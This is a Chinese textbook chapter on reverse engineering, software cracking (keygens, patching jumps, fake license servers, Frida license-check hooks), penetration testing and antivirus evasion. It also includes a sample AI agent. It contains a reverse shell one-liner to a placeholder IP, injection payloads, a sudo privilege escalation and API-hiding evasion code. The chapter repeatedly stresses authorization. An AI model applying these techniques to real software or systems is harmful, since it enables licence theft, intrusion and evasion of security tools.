主题
第 11 章 硬核进阶:把技术往深里练
预计阅读 20 分钟 · 全文约 5,924 字
本章产出:一个自研 Agent 双语言实现、一份完整的逆向破解实战记录、一套渗透测试流程模板。
说明:本章是全书最难的一章,信息密度最高。看不懂没关系,先跳过,等前面的 Lab 都做完了再回来。
开场:为什么"会破解"的人,大多不懂原理
有个现象很常见。
网上教"破解软件"的教程,步骤一般是这样的:下载这个工具 → 拖进去 → 点这里 → 打补丁 → 完事。
跟着做,你确实能让一个程序跑起来。但你问他:"为什么这个补丁能生效?"他答不上来。
因为他学的是"操作",不是"原理"。
换个程序、换个壳、换个保护方式,他就不会了——因为他不理解"程序是怎么被验证的、验证逻辑在哪、怎么找到它"。
这一章的写法跟网上教程相反:先讲原理,再讲操作。
- 逆向:先讲清楚"机器码、汇编、伪代码"三层结构,你才知道你在看什么
- 破解:先讲清楚"三种验证模式",你才知道哪些能破、哪些不能
- 渗透:先讲清楚"授权边界",你才知道自己在做什么
学完这一章,你手里不是一堆步骤,而是一套判断方法。
11.1 从零写 Agent:Python 版 + TypeScript 版
为什么要两个版本
Python 生态好、写起来快,适合做原型和脚本。TypeScript 能跑在浏览器和 Node,适合做产品、做插件。
两版对照着看,你能更清楚"什么是语言无关的核心"。
Python 版:完整可运行
python
# agent.py
import json
import subprocess
import os
from openai import OpenAI
client = OpenAI(
base_url=os.getenv("BASE_URL", "https://api.openai.com/v1"),
api_key=os.getenv("API_KEY")
)
MODEL = os.getenv("MODEL", "gpt-4o-mini")
WORKSPACE = os.path.abspath(os.getenv("WORKSPACE", "./workspace"))
MAX_STEPS = 15
TOOLS = [
{
"type": "function",
"function": {
"name": "read_file",
"description": "读取工作区内的文件。路径相对于工作区根目录。",
"parameters": {
"type": "object",
"properties": {"path": {"type": "string"}},
"required": ["path"]
}
}
},
{
"type": "function",
"function": {
"name": "write_file",
"description": "写入文件。会覆盖原内容。",
"parameters": {
"type": "object",
"properties": {
"path": {"type": "string"},
"content": {"type": "string"}
},
"required": ["path", "content"]
}
}
},
{
"type": "function",
"function": {
"name": "list_dir",
"description": "列出工作区内某个目录的文件。",
"parameters": {
"type": "object",
"properties": {"path": {"type": "string"}},
"required": ["path"]
}
}
},
{
"type": "function",
"function": {
"name": "run_command",
"description": "在工作区内执行 shell 命令,超时 30 秒。",
"parameters": {
"type": "object",
"properties": {"command": {"type": "string"}},
"required": ["command"]
}
}
}
]
def safe_path(rel_path: str) -> str:
"""把相对路径限制在工作区内"""
full = os.path.realpath(os.path.join(WORKSPACE, rel_path))
if not full.startswith(WORKSPACE + os.sep) and full != WORKSPACE:
raise PermissionError(f"越界路径:{rel_path}")
return full
def execute_tool(name: str, args: dict) -> str:
try:
if name == "read_file":
with open(safe_path(args["path"]), encoding="utf-8") as f:
return f.read()[:8000] # 截断,防爆上下文
elif name == "write_file":
p = safe_path(args["path"])
os.makedirs(os.path.dirname(p) or WORKSPACE, exist_ok=True)
with open(p, "w", encoding="utf-8") as f:
f.write(args["content"])
return f"已写入 {len(args['content'])} 字符"
elif name == "list_dir":
p = safe_path(args.get("path", "."))
return "\n".join(os.listdir(p))
elif name == "run_command":
r = subprocess.run(
args["command"], shell=True, cwd=WORKSPACE,
capture_output=True, text=True, timeout=30
)
out = (r.stdout + r.stderr)[:8000]
return f"退出码 {r.returncode}\n{out}"
return f"未知工具:{name}"
except subprocess.TimeoutExpired:
return "错误:命令超时(30 秒)"
except PermissionError as e:
return f"错误:{e}"
except Exception as e:
return f"错误:{type(e).__name__}: {e}"
def compact(messages, limit=24):
"""上下文管理:保留系统消息 + 最近 N 条 + 一条压缩摘要"""
if len(messages) <= limit:
return messages
head, tail = messages[0], messages[-limit:]
return [head, {"role": "user", "content": "(早期对话已压缩)"}] + tail
def run_agent(task: str):
messages = [
{"role": "system", "content": (
"你是运行在受限工作区的助手。你可以读文件、写文件、列目录、执行命令。\n"
"规则:\n"
"1. 先想清楚再动手,不要盲目重试\n"
"2. 同一个错误连续出现两次,停下来向用户报告\n"
"3. 完成任务后直接给出结论,不要继续调用工具\n"
"4. 只操作工作区内的文件"
)},
{"role": "user", "content": task}
]
for step in range(MAX_STEPS):
messages = compact(messages)
resp = client.chat.completions.create(
model=MODEL, messages=messages, tools=TOOLS, temperature=0.2
)
msg = resp.choices[0].message
messages.append(msg.model_dump(exclude_none=True))
if not msg.tool_calls:
return msg.content
for tc in msg.tool_calls:
args = json.loads(tc.function.arguments or "{}")
print(f"[step {step}] {tc.function.name}({args})")
result = execute_tool(tc.function.name, args)
messages.append({
"role": "tool",
"tool_call_id": tc.id,
"content": result
})
return "达到最大步数,任务未完成"
if __name__ == "__main__":
print(run_agent(input("任务:")))这段代码可以直接跑(装 openai 库,配好环境变量 BASE_URL/API_KEY/MODEL)。
它已经包含了一个生产 Agent 的核心要素:
- 工具定义 + 执行
- 路径沙箱
- 超时
- 上下文压缩
- 最大步数
- 明确的系统规则(别乱重试、别越界)
TypeScript 版:核心逻辑对照
typescript
// agent.ts
import OpenAI from "openai";
import { exec } from "child_process";
import { readFile, writeFile, readdir } from "fs/promises";
import path from "path";
const WORKSPACE = path.resolve(process.env.WORKSPACE ?? "./workspace");
const client = new OpenAI({ baseURL: process.env.BASE_URL, apiKey: process.env.API_KEY });
function safePath(rel: string): string {
const full = path.resolve(WORKSPACE, rel);
if (!full.startsWith(WORKSPACE + path.sep) && full !== WORKSPACE) {
throw new Error(`越界路径: ${rel}`);
}
return full;
}
async function executeTool(name: string, args: any): Promise<string> {
try {
switch (name) {
case "read_file":
return (await readFile(safePath(args.path), "utf-8")).slice(0, 8000);
case "list_dir":
return (await readdir(safePath(args.path ?? "."))).join("\n");
case "write_file":
await writeFile(safePath(args.path), args.content, "utf-8");
return `已写入 ${args.content.length} 字符`;
case "run_command":
return await new Promise((resolve) => {
exec(args.command, { cwd: WORKSPACE, timeout: 30000 }, (err, stdout, stderr) => {
resolve(((stdout ?? "") + (stderr ?? "")).slice(0, 8000));
});
});
default:
return `未知工具: ${name}`;
}
} catch (e: any) {
return `错误: ${e.message}`;
}
}
export async function runAgent(task: string): Promise<string> {
const messages: any[] = [
{ role: "system", content: "你是受限工作区助手。规则:不重试同一错误两次;完成后直接给结论。" },
{ role: "user", content: task }
];
for (let step = 0; step < 15; step++) {
if (messages.length > 24) {
messages.splice(1, messages.length - 24, { role: "user", content: "(早期对话已压缩)" });
}
const resp = await client.chat.completions.create({
model: process.env.MODEL ?? "gpt-4o-mini",
messages,
tools: TOOLS,
temperature: 0.2
});
const msg = resp.choices[0].message;
messages.push(msg);
if (!msg.tool_calls?.length) return msg.content ?? "";
for (const tc of msg.tool_calls) {
const args = JSON.parse(tc.function.arguments || "{}");
const result = await executeTool(tc.function.name, args);
messages.push({ role: "tool", tool_call_id: tc.id, content: result });
}
}
return "达到最大步数";
}两版对照,核心是什么
| 概念 | Python | TS | 本质 |
|---|---|---|---|
| 工具定义 | dict | object | 都是 JSON Schema |
| 工具执行 | 函数分发 | switch | 都是"名字→函数"映射 |
| 路径沙箱 | realpath 前缀检查 | resolve 前缀检查 | 同一思路 |
| 上下文压缩 | 列表切片 | 数组 splice | 同一思路 |
| 循环 | for | for | 同一结构 |
语言只是皮,架构才是骨。 会了这套骨架,换任何语言都能写。
11.2 逆向深入:脱壳、反调试、VM 保护、算法还原
壳是什么
壳(Packer)= 把程序压缩/加密,运行时再解压到内存执行的工具。
目的:
- 减小体积(早期目的)
- 防逆向(现在的主要目的)
常见壳:UPX、VMProtect、Themida、ASPack、自定义壳。
脱壳的基本思路
核心矛盾:壳必须把原程序解压到内存才能运行,所以原程序一定会在内存里出现。
方法一:内存 dump
- 让程序跑起来
- 等它解压完(找到 OEP,Original Entry Point)
- 把内存里的程序 dump 出来
- 修复导入表(IAT)
工具:Scylla、x64dbg 的 dump 插件、PE 工具。
方法二:ESP 定律
壳在解压后会跳回原程序入口。此时栈指针(ESP)会指向特定位置。在 ESP 上设硬件断点,断下时就是 OEP。
步骤:
- 在壳的入口处,对 ESP 下硬件访问断点
- 运行
- 断下时,看调用栈,找到跳回原程序的那次跳转
- 那个地址就是 OEP
方法三:单步跟踪
最笨但最可靠:从壳入口开始,一步步跟,直到看到"明显的原程序代码"(比如标准的函数序言、字符串引用)。
反调试技术
为什么有反调试:壳/保护想阻止你调试。
常见反调试:
| 技术 | 原理 | 绕过 |
|---|---|---|
IsDebuggerPresent | 检查调试器标志 | 改返回值 / hook |
PEB.BeingDebugged | 读进程环境块标志 | 改内存 |
| 时间检测 | 调试时执行变慢 | 补丁时间函数 |
| 硬件断点检测 | 读调试寄存器 | 清理断点 |
| 异常处理检测 | 调试器会接管异常 | 改异常处理 |
| 父进程检测 | 检查父进程是不是调试器 | 改父进程 |
| TLS 回调 | 在入口前执行检测代码 | 跳过 TLS 回调 |
绕过思路:
- 静态:找到检测代码,patch 掉(改成永远返回"没调试")
- 动态:hook 检测函数,让它返回假结果
- 工具:ScyllaHide、TitanHide(隐藏调试器)
VM 保护
VMProtect 这类工具:把代码编译成自定义的"虚拟机指令",运行时解释执行。
特征:
- 大量
push/pop/jmp交织 - 看不到正常的函数结构
- 关键代码被"虚拟化"
对抗思路:
- 找 VM 入口:通常是一个大的 dispatcher(分发器)循环
- 分析 VM 结构:找到"指令解释器",理解它怎么解码
- 写反编译器:把 VM 指令翻译回正常指令(工作量巨大)
- 或者绕过:不逆 VM 本身,找它保护之外的漏洞(比如验证逻辑没被虚拟化)
实话:完整的 VM 逆向是专业团队几个月的活。个人逆向,通常找"没被保护的部分"下手。
算法还原
目标:从一个函数反推出它的算法逻辑。
流程:
1. 定位关键函数(通过字符串、API 调用、交叉引用)
2. 读伪代码,理解大结构
3. 遇到不认识的常量 → 查(可能是魔数、哈希初值、加密表)
4. 遇到复杂运算 → 用 Python 复现,对比结果
5. 逐步验证:输入已知,看输出是否与程序一致
6. 补全边界条件常用技巧:
- 魔数识别:
0x67452301是 MD5 初值,0x9E3779B9是 TEA 加密常量 - 查表识别:大数组通常是 S-box、CRC 表、Base64 表
- 动态验证:改输入,看输出变化,推断运算
一个完整的算法还原案例
假设你要还原一个注册码算法:
c
// 伪代码(反编译得到)
int check(char* name, char* key) {
int sum = 0;
for (int i = 0; name[i]; i++) {
sum += name[i] * (i + 1);
}
sum ^= 0x5A5A;
char expected[16];
sprintf(expected, "%08X", sum);
return strcmp(key, expected) == 0;
}还原步骤:
- 读伪代码:用户名每个字符乘以位置索引,累加
- 异或 0x5A5A
- 转成 8 位十六进制字符串
- 与输入的 key 比较
Python 复现:
python
def gen_key(name: str) -> str:
total = 0
for i, ch in enumerate(name, start=1):
total += ord(ch) * i
total ^= 0x5A5A
return f"{total:08X}"
print(gen_key("test")) # 输出注册码验证:拿这个 key 去程序里试,能过,算法就还原对了。
11.3 破解实战:注册机、内存补丁、模拟授权服务器
图 11-1:三种验证模式
三种破解手法
| 手法 | 原理 | 适用 |
|---|---|---|
| 注册机(keygen) | 还原算法,自己生成合法卡密 | 本地验证 |
| 内存补丁(patch) | 改程序指令,跳过验证 | 本地验证 |
| 模拟服务器 | 伪造验证服务器的响应 | 服务器验证(弱) |
手法一:写注册机
前提:算法在本地,能还原。
流程:
- 逆向出验证算法
- 用 Python/C 复现
- 做一个界面(可选)
- 输入用户名,输出卡密
完整示例(接上一节的算法):
python
import tkinter as tk
def gen_key(name):
total = 0
for i, ch in enumerate(name, start=1):
total += ord(ch) * i
total ^= 0x5A5A
return f"{total:08X}"
def on_click():
name = entry.get()
result_label.config(text=f"注册码:{gen_key(name)}")
root = tk.Tk()
root.title("注册机")
tk.Label(root, text="用户名").pack()
entry = tk.Entry(root)
entry.pack()
tk.Button(root, text="生成", command=on_click).pack()
result_label = tk.Label(root, text="")
result_label.pack()
root.mainloop()这就是"注册机":本质是把逆向出来的算法重新实现一遍。
手法二:内存补丁
思路:找到验证的跳转指令,改成"永远跳向成功"。
伪代码:
asm
cmp eax, 1 ; 验证结果
jne fail_label ; 不等就跳失败补丁:把 jne 改成 jmp(无条件跳),或者把条件反过来。
工具操作(x64dbg):
- 找到验证处
- 选中指令
- 右键 → Assemble
- 改成
nop(不执行)或jmp - 保存到文件(Patch file)
注意:改完要修复文件校验(如果有 CRC 检查)。
手法三:模拟授权服务器
前提:程序会向服务器验证,但验证逻辑弱(比如只检查返回码)。
思路:
- 抓包,看验证请求和响应
- 本地起一个假服务器,返回"验证通过"
- 改 hosts,把域名指向本地
- 或者用中间人代理(mitmproxy)拦截并改响应
限制:
- 如果服务器返回的是加密的授权数据(含签名),假响应会被识破
- 如果客户端有证书校验(SSL Pinning),要额外绕过
- 如果功能依赖服务器下发数据,假服务器给不出
所以:这招只对"验证逻辑弱"的程序有效。
三种手法的选择
验证在本地?
├─ 是 → 算法能还原?
│ ├─ 能 → 注册机(最优雅)
│ └─ 不能 → 内存补丁
└─ 否(服务器验证)
├─ 只检查返回码 → 模拟服务器
└─ 强验证 → 基本没戏(要攻击服务器)11.4 渗透测试全流程:侦察、扫描、利用、后渗透
标准流程
1. 信息收集(Recon)
2. 扫描与枚举(Scanning)
3. 漏洞验证(Exploitation)
4. 后渗透(Post-Exploitation)
5. 报告(Reporting)阶段一:信息收集
目标:知道目标有哪些资产、暴露了什么。
子域名:
bash
subfinder -d example.com -o subs.txt端口/服务:
bash
nmap -sV -sC -oN scan.txt target.com技术栈识别:
bash
whatweb http://target.com
httpx -u https://target.com -tech-detect目录扫描:
bash
ffuf -u https://target.com/FUZZ -w wordlist.txt信息泄露:
- GitHub 搜代码(
org:target password) - Google Hacking(
site:target.com filetype:pdf) - JS 文件里找 API 地址、密钥
阶段二:扫描与枚举
Web 漏洞扫描:
bash
nikto -h https://target.com
nuclei -u https://target.com -t cves/注意:扫描器会留下大量日志,容易被发现。授权测试要提前说明。
阶段三:漏洞验证
原则:只验证,不破坏。用最小 payload 证明漏洞存在。
SQL 注入验证:
bash
sqlmap -u "https://target.com/item?id=1" --batch --level=1 --risk=1XSS 验证:在输入点插入 <script>alert(document.domain)</script>,看是否执行。
命令注入验证:输入 ; id,看返回里有没有 uid 信息。
阶段四:后渗透
拿到 webshell / 反弹 shell 之后:
bash
# 提权信息收集
whoami /priv # Windows
sudo -l # Linux
find / -perm -4000 # SUID 文件
# 横向移动
# 找凭据、找内网资产、找信任关系注意:后渗透阶段风险最高,每一步都可能影响业务。授权范围要写清楚"能做什么、不能做什么"。
阶段五:报告
一份合格的渗透报告包含:
- 概述:测试范围、时间、方法
- 风险汇总:高危/中危/低危各几个
- 漏洞详情:每个漏洞的
- 位置
- 复现步骤
- 影响
- 修复建议
- 附录:工具、日志、截图
写报告的原则:让不懂技术的老板能看懂风险,让开发能照着修。
法律与授权(技术边界)
做渗透测试,必须有书面授权。
授权书要写清:
- 测试范围(哪些域名/IP)
- 测试时间
- 允许的手法(能不能用 sqlmap、能不能爆破)
- 禁止的操作(不能删数据、不能留后门)
- 联系人
没有授权就是攻击,性质完全不同。
11.5 黑产产业链拆解:钱从哪来、坑在哪
产业链一:账号交易(号商)
模式:批量注册账号 → 养号 → 卖给需要的人。
货源:
- 接码平台(虚拟手机号)
- 打码平台(绕过验证码)
- 自动化脚本(批量注册)
买家:刷量工作室、灰产从业者、诈骗团伙。
风险:违反平台规则,涉嫌"帮助信息网络犯罪活动罪"。
产业链二:发卡网
模式:提供"自动发卡"系统,卖家上传卡密,买家付款后自动发货。
为什么灰产爱用:
- 匿名(不用实名)
- 自动(不用人工)
- 可跑路(随时关站)
风险:为灰产提供支付和分发渠道,可能构成共犯。
产业链三:代装/代配
模式:帮人装软件、配 API、搭环境。
灰产变种:帮人配"翻墙"、"批量起号"、"自动引流"工具。
风险:如果工具本身违法,代装也是参与。
产业链四:资金盘
模式:包装成"AI 投资""算力挖矿",用后来者的钱付前人的利息。
话术:
- "AI 量化,日收益 1%"
- "算力租赁,稳赚不赔"
- "早入场早躺赚"
崩盘信号:提现变慢、规则突变、客服失联。
产业链五:卖课
模式:把免费知识包装成课程,卖给焦虑的人。
话术:
- "AI 时代,不学就被淘汰"
- "三天学会,月入三万"
- "限时优惠,最后 10 个名额"
真相:课程内容多数网上免费,价值在"路径"和"陪伴",但多数课连这个都没有。
一张"灰产识别表"
| 特征 | 说明 |
|---|---|
| 强调"平台查不到" | 大概率违规 |
| 要求"拉人头" | 传销/资金盘 |
| 承诺"稳赚" | 骗局 |
| 价格远低于成本 | 跑路盘 |
| 不签合同、不给源码 | 骗局 |
| 要求先交押金 | 骗局 |
记住一句话:凡是让你"先交钱再赚钱"的,都要打问号。
11.6 商业化接单:报价、合同、交付、客户沟通
报价的底层逻辑
价格 = 客户感知价值,不是你的工时。
客户不关心你花了多久,只关心"你能帮我省多少/赚多少"。
报价公式:
报价 = 客户收益 × 分成比例(10%-30%)
或
报价 = 替代成本 × 折扣(比如替代一个客服,月薪 5000,你收 2000/月)合同要点
必须写清:
- 范围:做什么、不做什么
- 交付物:代码、文档、部署
- 时间:里程碑和 deadline
- 付款:定金比例、尾款条件
- 知识产权:源码归谁
- 维护:免费维护多久、之后怎么收费
- 违约:延期怎么办、不付款怎么办
新手最容易漏的:范围(客户中途加需求)和维护(交付后天天找你改 bug)。
交付流程
1. 需求确认(书面)
2. 原型/方案确认
3. 开发(分阶段给客户看)
4. 测试(客户参与)
5. 部署上线
6. 培训/文档
7. 验收签字
8. 收尾款客户沟通的三条原则
原则一:说人话。 客户不懂技术,别跟他讲"向量数据库""embedding",讲"它能帮你自动找资料"。
原则二:管理预期。 别承诺"百分百准确",说"能处理 90% 的常见问题,剩下的转人工"。
原则三:留证据。 重要决策用邮件/微信文字确认,别只口头说。
一个真实的报价案例
需求:某小公司要一个"内部知识库问答",能回答员工关于人事制度、报销流程的问题。
评估:
- 文档整理:3 天
- 知识库搭建:2 天
- 界面/接入:2 天
- 测试调优:2 天
- 合计:9 天
报价:9000 元(1000/天),分两期:定金 50%,验收后付尾款。
成本:API 费用约 200 元/月,服务器可选本地部署(一次性 2000)。
为什么值这个价:HR 每天回答重复问题 1 小时,一年 250 小时,按 50/小时算,省 12500 元。
这就是"按价值报价":不说"我花了 9 天",说"帮你一年省一万二"。
11.7 开源项目改造:拿 Cline / OpenHands 改成自己的产品
为什么改造比从零写划算
- 基础设施(工具调用、上下文管理、UI)别人写好了
- 你只需要改"差异化"的部分
- 省几个月时间
改造的三种深度
深度一:换皮(1-2 天)
改名字、改 logo、改配色、改提示词。
适合:快速验证需求。
深度二:换工具(1-2 周)
保留框架,换掉工具集——比如把"通用文件操作"换成"你的行业专用工具"。
适合:垂直场景。
深度三:改架构(1-2 月)
改核心逻辑:上下文管理、规划策略、多智能体协作。
适合:有明确技术差异化的产品。
改造流程
1. fork 仓库
2. 读 README + 架构文档
3. 跑起来(先确保能跑)
4. 找到要改的模块
5. 小步改,每步跑测试
6. 保持上游同步(定期 merge)许可证问题
开源不等于随便用。
| 许可证 | 能商用吗 | 要求 |
|---|---|---|
| MIT | 能 | 保留版权声明 |
| Apache 2.0 | 能 | 保留声明、专利授权 |
| GPL | 能,但衍生作品也要开源 | 传染性 |
| AGPL | 能,但网络服务也要开源 | 更强传染性 |
| 自定义 | 看条款 | 可能限制商用 |
商用前必看 LICENSE 文件。 看不懂就搜"许可证名 + 商用"。
11.8 渗透实战演练:一台靶机的完整打法
场景
靶机:HackTheBox 或 TryHackMe 上的入门机器,你只知道一个 IP。
目标:拿到 user.txt 和 root.txt。
阶段一:侦察(不放过任何线索)
bash
# 1. 全端口扫描(先快扫,再深扫)
nmap -p- --min-rate 2000 -T4 10.10.10.10 -oN ports.txt
# 2. 对开放端口做服务识别
nmap -sV -sC -p 22,80,8080 10.10.10.10 -oN services.txt
# 3. 如果有 Web,做目录枚举
ffuf -u http://10.10.10.10/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt -mc 200,301,302,403关键思维:每个开放端口都是一个门。22 是 SSH(可能有弱口令),80 是 Web(可能有漏洞),3306 是数据库(可能能弱口令直连)。
阶段二:找入口
如果 Web 有登录框:
- 试默认口令(admin/admin、admin/password)
- 试 SQL 注入(
admin' OR '1'='1) - 看是否有注册功能(注册后可能有越权)
如果 Web 有上传:
- 上传
.php看能否执行 - 绕过:改后缀(.phtml/.php5)、改 Content-Type、加图片头
如果有文件包含:
bash
# 读 /etc/passwd
?file=../../../../etc/passwd
# 用 php filter 读源码
?file=php://filter/convert.base64-encode/resource=index.php阶段三:拿 shell
命令注入:
bash
# 反弹 shell
127.0.0.1; bash -c 'bash -i >& /dev/tcp/你的IP/4444 0>&1'本地先开监听:
bash
nc -lvnp 4444拿到 shell 后第一件事:
bash
id # 当前用户
uname -a # 系统版本
sudo -l # 有没有 sudo 权限
find / -perm -4000 -type f 2>/dev/null # SUID 文件阶段四:提权
常见提权路径:
| 路径 | 检查命令 |
|---|---|
| sudo 配置错误 | sudo -l |
| SUID 可执行文件 | find / -perm -4000 |
| 定时任务 | cat /etc/crontab、ls -la /etc/cron* |
| 内核漏洞 | uname -a + 搜对应 exp |
| 明文密码 | grep -r "password" /var/www |
一个真实的提权例子:
bash
sudo -l
# 输出:(root) NOPASSWD: /usr/bin/find这是经典配置错误——find 能执行命令:
bash
sudo find / -exec /bin/sh \; -quit
# 拿到 root shell阶段五:写报告
报告结构:
- 目标信息、测试时间
- 攻击路径图(从外到内,每一步)
- 每个漏洞:位置、复现、影响、修复建议
- 附录:命令、截图、日志
一句话:报告是给"要修漏洞的人"看的,不是给"看你多牛"看的。
11.9 逆向工具链:常用命令速查
侦察阶段
bash
file target.exe # 文件类型
strings -n 8 target.exe # 提取字符串
binwalk target.bin # 找嵌入文件
exiftool target.jpg # 元数据静态分析
bash
# Ghidra(图形界面)
ghidraRun
# objdump 反汇编
objdump -d target.exe
# readelf(Linux)
readelf -h target
# JADX(Android)
jadx -d out/ target.apk动态调试
text
# GDB 会话
$ gdb ./target
(gdb) break main
(gdb) run
(gdb) x/20wx $rsp
# x64dbg(Windows,图形界面)
# F2 下断点,F7 单步进入,F8 单步跳过,F9 运行
# Frida 动态插桩
frida -U -f com.example.app -l hook.js常用 hook 脚本(Frida)
javascript
Java.perform(function () {
var Target = Java.use("com.example.app.License");
Target.check.overload().implementation = function () {
console.log("[*] check() 被调用,返回 true");
return true;
};
});这段脚本的作用:把验证函数直接改成"永远返回 true"。
脱壳工具
| 工具 | 平台 | 用途 |
|---|---|---|
| UPX | 通用 | 最简单的壳,upx -d 直接脱 |
| Scylla | Windows | dump + 修复 IAT |
| Frida-DEXDump | Android | 脱 DEX |
| FRIDA-DEXDump | Android | 同上 |
11.10 免杀基础:为什么"改几个字节"就能过杀软
杀软的三种检测
① 特征码:匹配已知恶意代码的字节序列。
绕过:改特征码(加花指令、换等价指令、加密壳)。
② 行为检测:监控 API 调用序列(比如"创建进程 + 写注册表 + 联网")。
绕过:拆分行为、延迟执行、用合法程序代理(白加黑)。
③ 沙箱/启发式:在虚拟环境里跑,看行为像不像恶意。
绕过:检测虚拟机(反沙箱)、延迟触发、检查环境。
一个最小例子(理解原理,不鼓励滥用)
c
// 原始:直接调用 CreateRemoteThread(高特征)
CreateRemoteThread(hProc, NULL, 0, (LPTHREAD_START_ROUTINE)addr, NULL, 0, NULL);改成动态解析:
c
// 从 kernel32 动态取地址,避免导入表里出现敏感 API
typedef HANDLE (WINAPI *pCRT)(HANDLE, LPSECURITY_ATTRIBUTES, SIZE_T,
LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD);
pCRT f = (pCRT)GetProcAddress(GetModuleHandleA("kernel32.dll"), "CreateRemoteThread");
f(hProc, NULL, 0, addr, NULL, 0, NULL);原理:导入表里看不到 CreateRemoteThread,静态扫描就抓不到。
但是
免杀是军备竞赛:今天过,明天可能被查。而且:
- 商用杀软的云端情报更新很快
- 行为检测越来越强
- 真要做,得持续投入
对学习者:理解原理就够了。知道杀软怎么检测,才知道怎么防。
行业观察:渗透测试合同里必须写的五个条款
一份正规的渗透测试合同,除了价格和周期,一定包含这五条:
- 测试范围:明确列出域名、IP 段、App 包名。范围外的一律不碰。
- 测试时间窗:比如"每周二至周四 22:00-次日 6:00",避开业务高峰。
- 禁止操作清单:不删数据、不植入后门、不上传 webshell 长期驻留、不横向扩展到范围外。
- 数据保密与销毁:测试中拿到的数据,项目结束后多少天内销毁,出具销毁证明。
- 免责与通知机制:发现高危漏洞,多久内必须通知甲方(通常 24 小时)。
行业真相:正规渗透测试最怕的不是"打不进去",是"打进去之后手滑"。所以合同里写的最多的,是"不许做什么"。
踩坑实录
坑一:脱壳脱出个残废程序
场景:有人 dump 了内存,直接保存成 exe,运行报错"缺少导入表"。
为什么:dump 出来的只是内存镜像,导入表(IAT)还没修复。
怎么爬出来:用 Scylla 等工具修复 IAT;或者找"自动脱壳"脚本。
坑二:patch 完程序崩溃
场景:有人把 jne 改成 jmp,程序直接崩了。
为什么:改的长度不对,破坏了后面的指令对齐;或者跳转目标错了。
怎么爬出来:用等长指令替换(jne → nop nop 或 jmp 需要算好偏移);改完单步验证。
坑三:渗透测试没授权
场景:有人拿真实网站练手,被报警。
为什么:技术不分好坏,目标有归属。
怎么爬出来:用靶场(DVWA、HTB、CTF 平台);真实目标必须有书面授权。
坑四:接单没签合同
场景:有人接了个单,做完客户不付尾款,还没合同,要不回来。
怎么爬出来:定金 + 合同 + 分阶段付款。这是底线,不是可选项。
Lab 11-1|完整拆解一个练习程序
难度:⭐⭐⭐⭐⭐ 预计耗时:4-6 小时
目标:走完"识别 → 逆向 → 还原 → 验证"的完整流程
准备:
- 自己写一个带注册码验证的 C 程序(或者用网上的 crackme 练习程序)
- 工具:Ghidra(免费)、x64dbg(Windows)
步骤:
- 识别:
strings扫一遍,找线索(错误提示、密钥、URL)- 静态分析:Ghidra 打开,找主函数和验证函数
- 读伪代码:理解算法逻辑(输入怎么处理、怎么比较)
- 动态验证:x64dbg 断在验证函数,看实际参数
- 算法还原:用 Python 复现算法
- 写注册机:输入用户名,输出合法注册码
- 验证:拿注册码去程序里试,能过就算成功
- 写报告:记录每一步的发现、工具输出、结论
验收标准:
- [ ] 能定位验证函数
- [ ] 能讲清算法逻辑
- [ ] Python 复现的算法与程序行为一致
- [ ] 注册机能生成有效注册码
- [ ] 有一份完整报告
卡住了怎么办:
- 找不到验证函数 → 从错误字符串交叉引用找
- 伪代码看不懂 → 对照汇编看,找关键比较指令
- 算法还原不对 → 用程序的实际输入输出反推,逐步修正
- 程序有反调试 → 用 ScyllaHide 或手动 patch 检测点
本章自检清单
- [ ] Agent 的骨架包含哪几部分?
- [ ] 路径沙箱怎么实现?
- [ ] 脱壳的核心思路是什么?OEP 怎么找?
- [ ] 常见反调试技术有哪几种?怎么绕?
- [ ] VM 保护的对抗思路是什么?
- [ ] 三种破解手法分别适用什么场景?
- [ ] 渗透测试五个阶段是什么?
- [ ] 授权书必须写清哪几项?
- [ ] 黑产的五条产业链分别是什么?
- [ ] 报价的底层逻辑是什么?
- [ ] 开源改造的三种深度是什么?许可证要注意什么?
学习进度:0 / 13 章
📝 本章小测验(3 题)
1. 脱壳的核心思路是?
2. 三种破解手法中,针对「弱服务器验证」的是?
3. 渗透测试的第一步是?
一句话记住
逆向的尽头是还原逻辑,安全的尽头是理解边界——技术越深,越要知道自己在拆什么。
延伸阅读
- 《加密与解密》(第 4 版)——逆向入门到进阶
- 《Web 安全深度剖析》——Web 漏洞系统讲解
- OWASP Testing Guide——渗透测试标准流程
- Cline / OpenHands 源码——Agent 架构最佳参考
最后更新:2026-10